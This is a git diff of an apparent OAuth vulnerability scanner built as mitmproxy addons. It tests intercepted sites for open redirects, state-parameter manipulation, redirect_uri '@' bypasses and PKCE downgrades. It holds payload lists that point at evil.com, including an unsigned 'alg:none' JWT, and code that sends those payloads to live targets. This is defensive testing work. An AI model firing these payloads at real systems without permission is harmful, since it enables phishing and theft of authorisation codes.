URL 경로 패턴 - ] - has_simple = any(pattern in query_string.lower() for pattern in simple_patterns) - - # 패턴 2: URL 형태 - url_pattern = r'from=https?%3A%2F%2F' # from=https:// (URL 인코딩됨) - has_url = bool(re.search(url_pattern, query_string)) - - return has_simple or has_url - - query_string = parsed.query - has_social_login = has_social_login_pattern(query_string) - - # 4. 리다이렉트 파라미터(우리가 공격할 타겟) 확인 - client_redirect_params = [ - 'next', 'return_to', 'continue', 'redirect_uri', 'redirect_url', - 'destination', 'success_url', 'callback_url', 'goto', 'forward_to', - 'redirectUrl', 'redirectURL', 'redirect_to', 'returnUrl', 'returnURL', - 'from', 'target', 'targetUrl', 'targetURL', - ] - - has_redirect_param = any(param in query for param in client_redirect_params) - - # 5. OAuth 혼합 패턴 감지 (요청+응답 파라미터 동시 존재) - oauth_request_params = ['client_id', 'response_type'] - oauth_redirect_params = ['return_to', 'redirect_uri'] - has_oauth_request = any(param in query for param in oauth_request_params) - has_oauth_redirect = any(param in query for param in oauth_redirect_params) - - # 최종 판단 기준 1 - (콜백 경로 + OAuth 파라미터) 또는 소셜 로그인 있고, 리다이렉트 파라미터 또는 state 있으면 → OAuth 콜백! - if (is_oauth_callback and has_oauth_response) or has_social_login: - if has_redirect_param or 'state' in query: - print(f"[CLIENT_OAUTH] 📱 OAuth 콜백 감지: {parsed.netloc}") - return True - - # 최종 판단 기준 2 - OAuth 요청 파라미터와 리다이렉트 파라미터가 둘 다 있으면 → OAuth 혼합 패턴! - if has_oauth_request and has_oauth_redirect: - print(f"[CLIENT_OAUTH] 📱 OAuth 혼합 패턴 감지: {parsed.netloc}") - return True - - # 리다이렉트 패턴 + 리다이렉트 파라미터면 충분 - if is_oauth_callback and has_redirect_param: - print(f"[CLIENT_REDIRECT] 📱 최종 리다이렉트 엔드포인트 감지: {parsed.netloc}") - return True - - return False - - def _is_self_oauth_request(self, url, parsed, query): - """자체 OAuth - authorize 엔드포인트 요청인지 확인 (로그인 불필요)""" - - # OAuth 제공자 도메인 제외 - oauth_provider_domains = [ - "accounts.google.com", "oauth2.googleapis.com", - "www.facebook.com", "facebook.com", "graph.facebook.com", - "github.com", "api.github.com", - "login.microsoftonline.com", "login.live.com", - "account.live.com", "login.windows.net", "login.microsoft.com", - "appleid.apple.com", "accounts.apple.com", - "login.yahoo.com", "accounts.twitter.com","api.twitter.com", - "linkedin.com", "www.linkedin.com", - "okta.com", - "auth0.com", "onelogin.com", - ] - - if any(provider in parsed.netloc for provider in oauth_provider_domains): - return False - - # B2B 연동 제외 (redirect_uri 기반) - if 'redirect_uri' in query: - redirect_uri = unquote(query['redirect_uri'][0]) - - # B2B/내부 시스템 도메인들 - internal_domains = [ - 'zendesk.com', - 'salesforce.com', - 'servicenow.com', - 'atlassian.com', - 'slack.com', - ] - - # redirect_uri가 내부 시스템이면 제외 - if any(domain in redirect_uri.lower() for domain in internal_domains): - return False - - # 내부 시스템 연동 경로 제외 - internal_system_patterns = [ - '/websso/bootstrap', # SSO 부트스트랩 - '/api/internal/', # 내부 API - '/system/', # 시스템 연동 - ] - - path = parsed.path.lower() - if any(pattern in path for pattern in internal_system_patterns): - return False - - # 1. 자체 OAuth 엔드포인트 패턴 확인 - oauth_endpoints = [ - '/oauth/authorize', '/oauth/auth', '/auth/oauth', - '/sso/authorize', '/api/oauth/authorize', - '/v1/oauth/authorize', '/oauth2/authorize', - '/oauth2/v1/authorize', - '/authorize', # 일반적인 authorize 추가 - '/auth/realms', # Keycloak 패턴 - '/connect/authorize', # IdentityServer 패턴 - '/idp/', # ← Identity Provider 패턴 - '/signin', # ← Sign-in 패턴 - '/auth/signin', # ← Auth Sign-in 패턴 - '/identity/', # ← Identity 패턴 - ] - - path = parsed.path.lower() - is_oauth_path = any(endpoint in path for endpoint in oauth_endpoints) - - # 2. OAuth 요청 파라미터 확인 - OAuth 로그인에 필요한 정보들이 있는지 확인 - oauth_request_params = ['client_id', 'redirect_uri', 'response_type', 'scope'] - has_oauth_params = any(param in query for param in oauth_request_params) - - # 3. 표준 OAuth 파라미터 조합 확인 - OAuth의 핵심 3요소가 모두 있는지 확인 - has_standard_oauth = ( - 'client_id' in query and - 'redirect_uri' in query and - 'response_type' in query - ) - - # 최종 판단 기준 - 조건 1: (OAuth 경로 + OAuth 파라미터) 있거나 조건 2: 표준 OAuth 3요소 모두 있으면 → 자체 OAuth 시스템! - if (is_oauth_path and has_oauth_params) or has_standard_oauth: - print(f"[SELF_OAUTH] 🏠 자체 OAuth 제공자 감지: {parsed.netloc}") - return True - - return False - - async def test(self, flow: http.HTTPFlow): - """테스트 시작점 - url 받아와서 oauth 콜백/자체 oauth인지 체크""" - url = flow.request.pretty_url - parsed = urlparse(url) - query = parse_qs(parsed.query) - - if flow.request.method != "GET": - return - - # 1. Authorization 요청에서 redirect_uri 추적 - if self._track_redirect_uri_from_authorization(url, parsed, query): - return # Authorization 요청은 여기서 끝 - - # 2. 각 조건을 독립적으로 체크하여 우선순위 결정 - is_tracked_callback = self._is_tracked_oauth_callback(url, parsed, query) - is_self_oauth = self._is_self_oauth_request(url, parsed, query) - is_client_redirect = self._is_client_redirect_request(url, parsed, query) - - # 3. 우선순위에 따라 테스트 (높은 위험도 우선) - if is_self_oauth: # 가장 높은 위험도 - print(f"[TEST_TYPE] 🏠 자체 OAuth 시스템: {parsed.netloc}") - await self._test_oauth_redirect(url, parsed, query, test_type="SELF_OAUTH") - elif is_tracked_callback: # 중간 위험도 - print(f"[TEST_TYPE] 🎯 추적된 OAuth 콜백: {parsed.netloc}") - await self._test_oauth_redirect(url, parsed, query, test_type="TRACKED_CALLBACK") - elif is_client_redirect: # 일반 위험도 - print(f"[TEST_TYPE] 📱 클라이언트 리다이렉트: {parsed.netloc}") - await self._test_oauth_redirect(url, parsed, query, test_type="CLIENT_REDIRECT") - - return - - def _remove_tracked_uri(self, uri_to_remove): - """테스트 완료된 URI를 추적 목록에서 제거""" - if uri_to_remove in GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris']: - GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris'].discard(uri_to_remove) - - async def _test_oauth_redirect(self, url, parsed, query, test_type="UNKNOWN"): - """OAuth 리다이렉트 취약점 테스트""" - - # 테스트 타입별로 중복 방지 - endpoint_key = f"{test_type}:{parsed.netloc}{parsed.path}" - - if endpoint_key in self.tested_endpoints: - return # 이미 테스트했으므로 패스 - if endpoint_key in self.testing_targets: - return # 현재 테스트 중이므로 패스 - - self.testing_targets.add(endpoint_key) - - # 현재 테스트할 URI 저장 - current_uri = f"https://{parsed.netloc}{parsed.path}" - - try: - print(f"[START] 🔍 테스트 시작 ({test_type}): {parsed.netloc}{parsed.path}") - print(f"[TARGET] 타겟: {parsed.netloc}") - - # 1. state 파라미터 확인 후 조작 - if 'state' in query: - await self._test_state_parameter_manipulation(url, parsed, query) - - # 일반 리다이렉트 파라미터 테스트를 위해 Rate Limiter 리셋 - redirect_limiter.reset_for_new_target() - - # 2. 테스트할 파라미터들 찾기 - test_params = [] - - # redirect_uri (자체 OAuth에서 주로 사용) - if 'redirect_uri' in query: - test_params.append(('redirect_uri', query['redirect_uri'][0])) - - # 클라이언트 리다이렉트 파라미터들 - client_redirect_params = [ - 'next', 'return_to', 'continue', 'redirect_url', - 'destination', 'success_url', 'callback_url', 'goto', 'forward_to', - 'redirectUrl', 'from', 'target' - ] - - for param in client_redirect_params: - if param in query: - test_params.append((param, query[param][0])) - - # 테스트할 파라미터가 없으면 종료 - if not test_params: - print(f"[{test_type}] 리다이렉트 파라미터 없음 - 테스트 ❌") - # 테스트할 파라미터 없을 때도 URI 정리 - if test_type == "TRACKED_CALLBACK": - self._remove_tracked_uri(current_uri) - return - - print(f"[OAUTH] 📍 발견된 파라미터들: {test_params}") - print(f"[OPEN_REDIRECT] 총 우회 패턴: {len(self.bypass_payloads)}") - print("-" * 50) - - success_count = 0 - - # 3. 각 파라미터별로 모든 우회 패턴 테스트 - for param_name, original_value in test_params: - print(f"\n[{test_type}] 🎯 {param_name} 파라미터 테스트 시작") - - for i, payload in enumerate(self.bypass_payloads, 1): - print(f"[{i:2d}/{len(self.bypass_payloads)}] {payload.name}", end=" ... ") - - if i % 10 == 0: - progress = (i / len(self.bypass_payloads)) * 100 - print(f"\n[PROGRESS] 📊 {i}/{len(self.bypass_payloads)} 패턴 테스트 완료 ({progress:.1f}%)") - - result = await self._test_bypass_pattern( - url, query, parsed, original_value, payload, param_name - ) - - if result: - success_count += 1 - print("🚨 VULNERABLE!") - else: - print("✓") - - # 조기 종료 체크 (연속 실패) - can_proceed = await redirect_limiter.wait_if_needed(payload.name) - if not can_proceed: - print(f"\n[TARGET_ABANDON] 🚫 타겟 포기로 인한 테스트 조기 종료") - break - - # 한 파라미터에서 포기했으면 다른 파라미터도 건너뛰기 - if redirect_limiter.should_abandon_target: - break - - print("-" * 50) - print(f"[OAUTH] ✅ OAuth 테스트 완료: {success_count}개 취약점") - - # 테스트 완료 후 URI 정리 - if test_type == "TRACKED_CALLBACK": - self._remove_tracked_uri(current_uri) - - except Exception as e: - print(f"[ERROR] {test_type} 테스트 실패: {e}") - # 에러 발생 시에도 URI 정리 - if test_type == "TRACKED_CALLBACK": - self._remove_tracked_uri(current_uri) - finally: - self.testing_targets.discard(endpoint_key) - self.tested_endpoints.add(endpoint_key) - await self.close_session() - - async def _test_state_parameter_manipulation(self, url, parsed, query): - """State 파라미터 조작 테스트""" - print(f"[STATE_TEST] 🔍 State 파라미터 조작 테스트") - - # 원본 state 확인 - original_state = query['state'][0] - print(f"[STATE_TEST] 원본 state: {original_state[:50]}...") - - # State 공격 패턴들 - state_attacks = { - "state_direct_url": "https://evil.com", - "state_protocol_relative": "//evil.com", - "state_json_redirect": '{"redirect": "https://evil.com"}', - "state_json_return_to": '{"return_to": "https://evil.com"}', - "state_json_callback": '{"callback": "https://evil.com"}', - "state_query_redirect": "redirect=https://evil.com", - "state_query_return_to": "return_to=https://evil.com", - "state_base64_json": "eyJyZWRpcmVjdCI6ICJodHRwczovL2V2aWwuY29tIn0=", - "state_jwt_attack": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyZWRpcmVjdCI6Imh0dHBzOi8vZXZpbC5jb20ifQ.", - "state_original_append": f"{original_state}&redirect=https://evil.com", - "state_original_pipe": f"{original_state}|https://evil.com", - "state_url_encoded": "https%3A//evil.com" - } - - success_count = 0 - - for i, (attack_name, malicious_state) in enumerate(state_attacks.items(), 1): - print(f"[STATE_TEST] [{i:2d}/{len(state_attacks)}] {attack_name}") - - # 원본 쿼리 복사하고 state만 변경 - modified_query = query.copy() - modified_query['state'] = [malicious_state] - - # 새 URL 생성 - new_query_string = urlencode(modified_query, doseq=True) - test_url = urlunparse(parsed._replace(query=new_query_string)) - - # 요청 전송 - response = await self._send_request(test_url, record_to_limiter=False) - - # State 전용 취약점 분석 - if await self._analyze_state_vulnerability(url, test_url, malicious_state, response, attack_name): - success_count += 1 - print(f"[STATE_TEST] ✅ 취약점 발견! {attack_name}") - else: - print(f"[STATE_TEST] ✓ {attack_name}") - - await asyncio.sleep(1) # 1초 대기 - - print(f"[STATE_TEST] ✅ State 테스트 완료: {success_count}/{len(state_attacks)} 취약점 발견") - - async def _analyze_state_vulnerability(self, original_url, test_url, malicious_state, response, attack_name): - """State 파라미터 취약점 전용 분석""" - status = response['status'] - location = response['location'] - - # 리다이렉트 응답인지 확인 - if status not in [301, 302, 303, 307, 308]: - return False - - if not location: - return False - - # 악성 도메인으로 리다이렉트되었는지 확인 - if self._is_redirected_to_malicious_domain(location): - - print(f"[🎯 VULNERABILITY CONFIRMED] OAuth State 조작 취약점 발견!") - - await self._report_state_vulnerability( - original_url, test_url, malicious_state, - location, attack_name - ) - return True - - return False - - async def _report_state_vulnerability(self, original_url, test_url, malicious_state, location, attack_name): - """State 파라미터 취약점 전용 리포트""" - - description = ( - f"OAuth State Parameter Manipulation 취약점 발견!\n\n" - f"• 공격 방법: {attack_name}\n" - f"• 원본 URL: {original_url}\n" - f"• 조작된 state 값: {malicious_state}\n" - f"• 테스트 URL: {test_url}\n" - f"• 실제 리다이렉트 위치: {location}\n\n" - f"🚨 State 파라미터 조작을 통한 피싱 공격이 가능합니다!\n" - ) - - report_vuln( - title="OAuth State Parameter Manipulation Vulnerability", - desc=description, - status="HIGH", - uri=test_url - ) - - print(f"🎯 OAuth State 조작 취약점 발견 및 보고 완료!") - - """ 우회 URL 생성 및 요청 전송 """ - async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_value, payload, redirect_param): - - # 레이트 리미팅 체크 - can_proceed = await redirect_limiter.wait_if_needed(payload.name) - if not can_proceed: - return False - - try: - # 1. 우회 URL 생성 - if original_redirect_value.startswith('http'): - # 이미 완전한 URL인 경우 - bypassed_redirect = payload.mutate(original_redirect_value) - else: - # 상대 경로인 경우 완전한 URL로 만들어서 우회 - full_original = f"https://{original_redirect_value}" - bypassed_redirect = payload.mutate(full_original) - - # 2. 파라미터 보존 전략 - 원본 url의 다른 파라미터들은 그대로 두고 redirect 파라미터만 악성으로 바꿈 - modified_query = query.copy() - modified_query[redirect_param] = [bypassed_redirect] - - new_query_string = urlencode(modified_query, doseq=True) - test_url = urlunparse(parsed_url._replace(query=new_query_string)) - - # 3. 요청 전송 - response = await self._send_request(test_url) - - # 4. 응답 분석 - result = await self._analyze_response(original_url, test_url, bypassed_redirect, response, payload) - - return result - - except Exception as e: - print(f"[PATTERN] ❌ {payload.name} → ERROR: {e}") - return False - - """ 응답 분석 """ - async def _analyze_response(self, original_url, test_url, bypassed_redirect, response, payload): - status = response['status'] - location = response['location'] - - # 리다이렉트 응답인지 확인 - if status not in [301, 302, 303, 307, 308]: - return False - - if not location: - return False - - # 악성 도메인으로 리다이렉트되었는지 확인 - if self._is_redirected_to_malicious_domain(location): - - print(f"[🎯 VULNERABILITY CONFIRMED] Open Redirect 취약점 발견!") - - await self._report_open_redirect_vulnerability( - original_url, test_url, bypassed_redirect, - location, payload - ) - return True - - return False - - def _is_redirected_to_malicious_domain(self, location: str) -> bool: - """실제로 악성 도메인으로 리다이렉트되었는지 확인""" - - try: - location_parsed = urlparse(location) - location_host = location_parsed.hostname - - # 실제 호스트만 확인 (URL 파라미터는 무시) - if not location_host: - return False - - # 메이저 OAuth 제공자 도메인이면 취약점 아님 - safe_domains = [ - # Google (구글) - "accounts.google.com", "google.com", "www.google.com", - "oauth2.googleapis.com", "accounts.youtube.com", - - # Facebook/Meta (페이스북) - "www.facebook.com", "facebook.com", "m.facebook.com", - "graph.facebook.com", "developers.facebook.com", - - # GitHub (깃헙) ← 추가! - "github.com", "www.github.com", "api.github.com", - - # Microsoft (마이크로소프트) ← 추가! - "login.microsoftonline.com", "login.live.com", - "account.live.com", "login.windows.net", "login.microsoft.com", - "outlook.live.com", "account.microsoft.com", - ] - if any(safe_domain in location_host.lower() for safe_domain in safe_domains): - return False - - # 실제 악성 도메인들 - malicious_domains = ["evil.com", "attacker.com", "malicious.site"] - if any(domain in location_host.lower() for domain in malicious_domains): - print(f"[MALICIOUS_REDIRECT] 🚨 악성 도메인으로 리다이렉트 감지: {location_host}") - return True - - return False - - except Exception as e: - return False - - """ 취약점 보고서 생성 """ - async def _report_open_redirect_vulnerability(self, original_url, test_url, bypassed_redirect, location, payload): - """Open Redirect 취약점 보고서 생성""" - pattern_name = getattr(payload, 'name', 'unknown') - pattern_description = getattr(payload, 'description', 'Unknown bypass pattern') - - description = ( - f"Open Redirect 취약점 발견!\n\n" - f"• 우회 패턴: {pattern_name}\n" - f"• 설명: {pattern_description}\n" - f"• 원본 URL: {original_url}\n" - f"• 우회된 redirect 값: {bypassed_redirect}\n" - f"• 테스트 URL: {test_url}\n" - f"• 실제 리다이렉트 위치: {location}\n\n" - f"🚨 이 취약점을 이용하면 피싱 공격이 가능합니다!\n" - ) - - report_vuln( - title="OAuth Open Redirect Vulnerability", - desc=description, - status="MEDIUM", - uri=test_url - ) - print(f"🎯 OAuth Open Redirect 취약점 발견 및 보고 완료!") - - def reset_session(self): - """새 세션 시작 (새 타겟 사이트 테스트 시)""" - if len(self.tested_endpoints) > 1000: - old_entries = list(self.tested_endpoints)[:500] - for entry in old_entries: - self.tested_endpoints.discard(entry) - - self.testing_targets.clear() - - async def cleanup(self): - """정리 작업""" - await self.close_session() diff --git a/addon/pkce_check.py b/addon/pkce_check.py index 8f922b9..cac1693 100644 --- a/addon/pkce_check.py +++ b/addon/pkce_check.py @@ -1,7 +1,10 @@ from urllib.parse import urlparse, parse_qs, urlencode, urlunparse +import asyncio import httpx from typing import Dict, List -from lib.report_vuln import report_vuln + +import lib.target as target +from lib.report import save_report class PKCEDowngradeChecker: @@ -55,19 +58,27 @@ class PKCEDowngradeChecker: async def report_missing_parameters(self, url: str, is_openid: bool): status = "MEDIUM" if is_openid else "LOW" - report_vuln( - title="PKCE Parameters Missing", - desc="PKCE parameters are missing or incomplete.", - status=status, - uri=url, + self.save( + [ + self.make_report( + status, + "PKCE Parameters Missing", + "PKCE parameters are missing or incomplete.", + url, + ) + ] ) async def report_plain_method(self, url: str): - report_vuln( - title="PKCE Plain Method", - desc="PKCE method is set to 'plain'. Possible downgrade.", - status="CRITICAL", - uri=url, + self.save( + [ + self.make_report( + "CRITICAL", + "PKCE Plain Method", + "PKCE method is set to 'plain'. Possible downgrade.", + url, + ) + ] ) def create_downgraded_url(self, parsed, query): @@ -139,11 +150,15 @@ class PKCEDowngradeChecker: else: return # Likely safe - report_vuln( - title=title, - desc=description, - status=status, - uri=f"Original: {original_url}\nDowngraded: {downgraded_url}", + self.save( + [ + self.make_report( + status, + title, + description, + f"Original: {original_url}\nDowngraded: {downgraded_url}", + ) + ] ) def same_redirect_destination(self, orig_loc, down_loc): @@ -151,3 +166,16 @@ class PKCEDowngradeChecker: down = urlparse(down_loc) return orig.netloc == down.netloc and orig.path == down.path + def make_report( + self, status: str, title: str, description: str, uri: str + ) -> Dict[str, str]: + return { + "target": target.load(), + "status": status, + "title": title, + "description": description, + "uri": uri, + } + + def save(self, report_data: List[Dict[str, str]]): + save_report(report_data) diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py new file mode 100644 index 0000000..176e537 --- /dev/null +++ b/addon/redirect_uri_check.py @@ -0,0 +1,202 @@ +from mitmproxy import http +import aiohttp +from urllib.parse import urlparse, parse_qs, urlencode, urlunparse +import lib.target as target +from lib.report import save_report + +class BypassPayload: + """ 우회 패턴 정의 """ + def __init__(self, name: str, mutate_func, description: str): + self.name = name + self.mutate = mutate_func #우회 url 만드는 함수 + self.description = description + + +class RedirectBypassChecker: + def __init__(self): + """ 우회 페이로드 목록 """ + self.bypass_payloads = [ + BypassPayload( + name=r"@", + mutate_func=self._mutate_pattern1, + description=r"@ 기호를 이용한 호스트 우회 공격: evil.com@target.com" + ), + + ] + self.session = None + + """ 우회 URL 생성 목록 """ + # 1. @ + def _mutate_pattern1(self, original: str) -> str: + parsed = urlparse(original) + mutated = f"https://evil.com@{parsed.netloc}{parsed.path}" + print(f"[redirect_uri_check] original: {original} → mutated: {mutated}") + return mutated + + '''aiohttp 세션 생성 (재사용)''' + async def _get_session(self): + if self.session is None: + timeout = aiohttp.ClientTimeout(total=10) + self.session = aiohttp.ClientSession(timeout=timeout) + return self.session + + '''세션 정리''' + async def close_session(self): + if self.session: + await self.session.close() + self.session = None + + """ 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """ + async def _send_request(self, url, headers=None): + try: + session = await self._get_session() # 세션 준비 + request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용 + + # 서버에 GET 요청 전송 + async with session.get(url, allow_redirects=False, headers=request_headers) as response: + return { + 'status': response.status, + 'location': response.headers.get("Location", ""), + 'headers': dict(response.headers) + } + except Exception as e: + print(f"[ERROR] 요청 실패 ({url}): {e}") + return {'status': 500, 'location': '', 'headers': {}} + + """ redirect_uri가 기준 도메인(baseUrl)에 속하는지 판단 """ + def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool: + try: + redirect_parsed = urlparse(redirect_uri) + base_parsed = urlparse(base_url) + + redirect_host = redirect_parsed.hostname + base_host = base_parsed.hostname + + if not redirect_host or not base_host: + return False + + if "@" in redirect_uri: + if redirect_host != base_host: + print(f"[ALERT] 우회 공격 탐지: {redirect_host} != {base_host}") + return False + + at_parts = redirect_uri.split('@') + if len(at_parts) > 1: + before_at = at_parts[0] + if '//' in before_at: + potential_domain = before_at.split('//')[-1] + if '.' in potential_domain and potential_domain != base_host: + print(f"[CRITICAL] @ 우회 공격: {potential_domain}@{base_host}") + return False + + is_valid = (redirect_host == base_host or redirect_host.endswith(f".{base_host}")) + return is_valid + + except Exception as e: + print(f"[ERROR] 도메인 검증 실패: {e}") + return False + + """ Location 헤더에서 authorization code 추출 """ + def _extract_code_from_location(self, location: str) -> str: + if not location: + return "" + + try: + parsed = urlparse(location) + query = parse_qs(parsed.query) + return query.get('code', [''])[0] + except: + return "" + + """ 메인 테스트 함수 - mitmproxy flow 처리 """ + async def test(self, flow: http.HTTPFlow): + url = flow.request.pretty_url + parsed = urlparse(url) + query = parse_qs(parsed.query) + + if "redirect_uri" not in query: + return + + original_redirect_uri = query["redirect_uri"][0] + print(f"[DEBUG] 원본 redirect_uri: {original_redirect_uri}") + + for payload in self.bypass_payloads: + try: + await self._test_bypass_pattern( + url, query, parsed, original_redirect_uri, payload, headers={} + ) + except Exception as e: + print(f"[ERROR] 우회 패턴 테스트 실패 ({payload.name}): {e}") + continue + + """ 개별 우회 패턴 테스트 """ + async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_uri, payload, headers): + + print(f"[SCAN] 우회 패턴 테스트: {payload.name}") + + # 우회 URL 생성 + bypassed_uri = payload.mutate(original_redirect_uri) + + # 새로운 쿼리 파라미터 구성 + modified_query = query.copy() + modified_query["redirect_uri"] = [bypassed_uri] + new_query_string = urlencode(modified_query, doseq=True) + test_url = urlunparse(parsed_url._replace(query=new_query_string)) + + # 요청 전송 + response = await self._send_request(test_url, headers) + + # 응답 분석 + await self._analyze_response(original_url, test_url, bypassed_uri, response, payload) + + """ 응답 분석 및 취약점 판단 """ + async def _analyze_response(self, original_url, test_url, bypassed_uri, response, payload): + status = response['status'] + location = response['location'] + + # 리다이렉트 응답이 아니면 스킵 + if status not in [301, 302, 303, 307, 308]: + return + + # Location 헤더에서 code 추출 + auth_code = self._extract_code_from_location(location) + + if auth_code and not self._is_baseline_valid(bypassed_uri, original_url): + # 취약점 발견 시에만 로그 + print(f"[🎯 VULNERABILITY] {payload.name} 우회 성공!") + await self._report_vulnerability(original_url, test_url, bypassed_uri, location, auth_code, payload) + + + """ 취약점 보고서 생성 """ + async def _report_vulnerability(self, original_url, test_url, bypassed_uri, location, auth_code, payload): + # payload가 문자열인지 객체인지 확인 + if hasattr(payload, 'name'): + pattern_name = payload.name + pattern_description = payload.description + else: + pattern_name = str(payload) + pattern_description = "Unknown bypass pattern" + + description = ( + f"Redirect URI 우회 취약점 발견!\n\n" + f"-- 상세 정보 --:\n" + f"• 우회 패턴: {pattern_name}\n" + f"• 설명: {pattern_description}\n" + f"• 원본 URL: {original_url}\n" + f"• 우회된 redirect_uri: {bypassed_uri}\n" + f"• 테스트 URL: {test_url}\n" + f"• 리다이렉트 위치: {location}\n" + f"• 발급된 인가 코드: {auth_code[:10]}...\n\n" + ) + + report_data = [{ + "target": target.load(), + "status": "CRITICAL", + "title": "Redirect URI Bypass Vulnerability", + "description": description, + "uri": test_url # uri 필드 추가 + }] + + save_report(report_data) + print(f"[🎯 CRITICAL] Redirect URI 우회 취약점 발견 및 보고 완료!") + print(f"[INFO] 패턴: {pattern_name}, 우회 URI: {bypassed_uri}") \ No newline at end of file diff --git a/addon/scope_detection.py b/addon/scope_detection.py deleted file mode 100644 index 3ef088b..0000000 --- a/addon/scope_detection.py +++ /dev/null @@ -1,32 +0,0 @@ -from lib.report_vuln import report_vuln -from lib.utils.is_oauth_uri import is_oauth_uri -from urllib.parse import urlparse, parse_qs - -class ScopeDetection: - def get_scope_from_query(self, query: str) -> str | None: - if not query: - return None - parsed = parse_qs(query) - scope_values = parsed.get("scope", []) - if scope_values: - return scope_values[0] - return None - - async def test(self, flow): - if not is_oauth_uri(flow.request.pretty_url): - return - - req = flow.request - - parsed = urlparse(req.pretty_url) - query = parsed.query - - query_scope = self.get_scope_from_query(query) - - if query_scope in ["all", "*"]: - report_vuln( - title="OAuth Scope Value Issue", - desc=f"Scope value issue detected in request: {query_scope}", - status="WARNING", - uri=req.pretty_url - ) diff --git a/lib/false_true_varifing_task.py b/lib/false_true_varifing_task.py deleted file mode 100644 index 4b9bde4..0000000 --- a/lib/false_true_varifing_task.py +++ /dev/null @@ -1,65 +0,0 @@ -from typing import Any -from copy import deepcopy - -class FalseTrueVarifingTask: - """ - A singleton class representing a task that can be either false or true. - This class is used to handle tasks that require verification of their truth value. - """ - - _instance = None - - def __new__(cls): - if cls._instance is None: - cls._instance = super(FalseTrueVarifingTask, cls).__new__(cls) - cls._instance._initialized = False - return cls._instance - - def __init__(self): - if self._initialized: - return - self._is_verifing = False - self.task_queue = [] - self._initialized = True - - def reset(self): - """ - Reset the task queue and verification status. - """ - self._is_verifing = False - self.task_queue.clear() - - # 각 addon의 검증 로직에서 해당 함수를 호출하여, 추후 오탐 검증을 위한 작업을 추가할 수 있습니다. - # TODO: 모델 지정해두기 - def add_task(self, task_name: str, initial_uri: str, data: Any): - """ - Add a task to the task queue. - :param task: The task to be added. - """ - self.task_queue.append( - { - "task_name": task_name, - "initial_uri": initial_uri, - "data": data - } - ) - - def start_verification(self): - """ - Start the verification process for the tasks in the queue. - """ - self._is_verifing = True - - def get_task_queue(self): - """ - Get a copy of the current task queue. - :return: A copy of the task queue. - """ - return deepcopy(self.task_queue) - - def is_verifing_false_true(self): - """ - Get the current verification status. - :return: True if verification is in progress, False otherwise. - """ - return self._is_verifing diff --git a/lib/report_vuln.py b/lib/report.py similarity index 65% rename from lib/report_vuln.py rename to lib/report.py index e2644ef..40925d0 100644 --- a/lib/report_vuln.py +++ b/lib/report.py @@ -1,16 +1,14 @@ # save as data/report.csv import os import csv -from mitmproxy import http -import lib.cur_target_url as cur_target_url +from typing import List, Dict, Any # target, status, title, description, uri # file path는 'data/report.csv'로 고정 -def report_vuln(title: str, desc: str, status: str, uri: str) -> None: - file_path: str = 'data/report.csv' - +def save_report(report_data: List[Dict[str, Any]], file_path: str = 'data/report.csv') -> None: os.makedirs(os.path.dirname(file_path), exist_ok=True) + """ report_data 안의 각 레포트를 한 줄씩 CSV에 추가로 저장합니다. @@ -25,10 +23,10 @@ def report_vuln(title: str, desc: str, status: str, uri: str) -> None: if not file_exists: writer.writeheader() - writer.writerow({ - 'target': cur_target_url.load(), - 'status': status, - 'title': title, - 'description': desc, - 'uri': uri, - }) + for row in report_data: + # None 방지 & 줄바꿈 이스케이프 + escaped = { + k: str(v).replace('\n', '\\n') if v is not None else '' + for k, v in row.items() + } + writer.writerow(escaped) diff --git a/lib/cur_target_url.py b/lib/target.py similarity index 100% rename from lib/cur_target_url.py rename to lib/target.py diff --git a/lib/utils/is_oauth_uri.py b/lib/utils/is_oauth_uri.py deleted file mode 100644 index 29f99db..0000000 --- a/lib/utils/is_oauth_uri.py +++ /dev/null @@ -1,10 +0,0 @@ -from urllib.parse import urlparse, parse_qs - -def is_oauth_uri(uri: str) -> bool: - qs = parse_qs(urlparse(uri).query) - qs_keys = [*qs] - - if "client_id" in qs_keys and any(p in qs_keys for p in ( - "redirect_uri", "response_type", "grant_type", "scope", "state", "nonce")): - return True - return False \ No newline at end of file diff --git a/lib/utils/try_catch.py b/lib/utils/try_catch.py deleted file mode 100644 index 54bbc3b..0000000 --- a/lib/utils/try_catch.py +++ /dev/null @@ -1,5 +0,0 @@ -async def try_catch(coro): - try: - return await coro - except Exception as e: - print(f"[ERROR] {coro} failed: {e}") diff --git a/runner/backend/__init__.py b/runner/backend/__init__.py index b917dbe..4b60e63 100644 --- a/runner/backend/__init__.py +++ b/runner/backend/__init__.py @@ -1,107 +1,17 @@ from fastapi import FastAPI, Query, HTTPException from fastapi.responses import Response -import lib.cur_target_url as cur_target_url -from lib.false_true_varifing_task import FalseTrueVarifingTask -from pydantic import BaseModel, Field -from lib.report_vuln import report_vuln as save_vuln - -# Initialize the singleton task manager -false_true_varifing_task = FalseTrueVarifingTask() +import lib.target as target app = FastAPI() - -@app.post( - "/start", - summary="취약점 검증을 위한 대상 URL 설정", - description=""" -이 엔드포인트는 시스템이 취약점 검증 작업에 사용할 대상 URL을 설정합니다. - -유효한 URL이 제공되면: -- 해당 URL이 저장됩니다. -- 검증 작업 큐가 초기화됩니다. -- 새로운 검증 작업을 시작할 준비가 완료됩니다. - -URL이 제공되지 않으면, 오류가 반환됩니다. -""" -, - tags=["1st STEP"] -) -async def start(url: str = Query(..., description="The URL to target for vulnerability verification")): - cur_target_url.save(url) - false_true_varifing_task.reset() - return {"message": f"Target URL set to: {url}"} - - - - - - -@app.post( - "/start-false-true-verifing", - summary="시스템에 오탐 검증 작업 시작을 알림", - description=""" -이 엔드포인트는 시스템에 오탐 검증 작업이 시작되었음을 알립니다. -또한 시스템은 미리 준비된 오탐 검증 작업 목록을 반환합니다. - -```json -{ - "payload": [ - { - "task_name": "pkce_task", # 검증 작업의 이름 - "initial_uri": "http://auth.example.com", # browser가 처음 접속할 URI - "data": any # 추가 데이터 - }, - ... - ] -} -``` -""", - tags=["2nd STEP"] - ) -async def start_false_true_verifing(): - false_true_varifing_task.start_verification() - task_queue = false_true_varifing_task.get_task_queue() - return {"payload": task_queue} - - - - - - -class VulnerabilityReport(BaseModel): - title: 